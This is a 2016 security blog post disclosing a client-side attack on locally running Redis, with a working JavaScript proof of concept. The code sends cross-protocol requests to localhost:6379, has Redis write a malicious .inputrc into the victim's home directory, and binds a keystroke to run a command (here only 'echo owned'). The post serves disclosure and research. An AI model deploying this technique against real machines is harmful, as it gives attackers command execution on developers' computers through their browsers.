18 Jul 2016

Client-Side Redis Attack Proof of Concept

I’ve developed a somewhat new proof of concept for a client-side attack on Redis. I say somewhat new because the concept of executing Redis commands via JavaScript is nothing new. However, the original lua exploit detailed by benmmurphy has been patched and the question has become “so what’s the threat now?”

Well, I don’t have a lua sandbox escape 0day. And developer machines don’t typically run SSH exposed to the Internet, so dropping keys into a user’s authorized_keys file like antirez explains in his post isn’t all that relevant.

Am I out of luck?

The Readline Init File

When I think back to the attack on users’ authorized_keys files, I am reminded that there may be other sensitive files on Linux filesystems which can be abused. An ideal file would be parsed by a service which doesn’t care if 99% of the file is garbage. This is important because rdb files contain a bunch of data at the beginning of the file we don’t care about.

The readline init file comes to mind. Programs which use readline can be customized with keybindings. Bash uses readline. Hey, maybe there’s something there! Now this isn’t nearly as cool as benmmurphy’s lua PoC, and it requires that whatever user Redis is running as have write permissions to your home directory. However, the readline init file parser does seems to ignore lines that aren’t valid entries, and if it works I could use keybindings to force you to execute malicious code when you type something in your terminal.

This means that if you’re a developer and you have Redis running in protected mode, as your own user or root (or some other user which has write permissions to your home directory), I can still own you through your browser. I can use JavaScript to craft an HTTP POST request to port 6379 and abuse Redis commands in such a way that I can write data to an arbitrary file. I can use this to write data to your user’s .inputrc file and mess with you.

Proof of Concept

The following is a JavaScript PoC that demonstrates this idea.

<script>
  var homedir = prompt("What is the full path to your home directory?");
  var cmd = new XMLHttpRequest();
  cmd.open("POST", "http://127.0.0.1:6379");
  cmd.send('eval \'' + 'redis.call(\"set\", \"removeme\", "\\r\\n\\"z\\": \\"echo owned\\\\n\\"\\n"); redis.call(\"config\", \"set\", \"dir\", \"' + homedir + '/\"); redis.call(\"config\", \"set\", \"dbfilename\", \".inputrc\"); ' + '\' 0' + "\r\n");

  var cmd = new XMLHttpRequest();
  cmd.open("POST", "http://127.0.0.1:6379");
  cmd.send('save\r\n');

  alert("Done! Try opening a new Terminal window and typing the letter 'z' on your keyboard. To stop this, remove or revert /etc/inputrc.")
</script>

Typing z triggers the payload in the terminal. It even includes a new line at the end so the command automatically executes.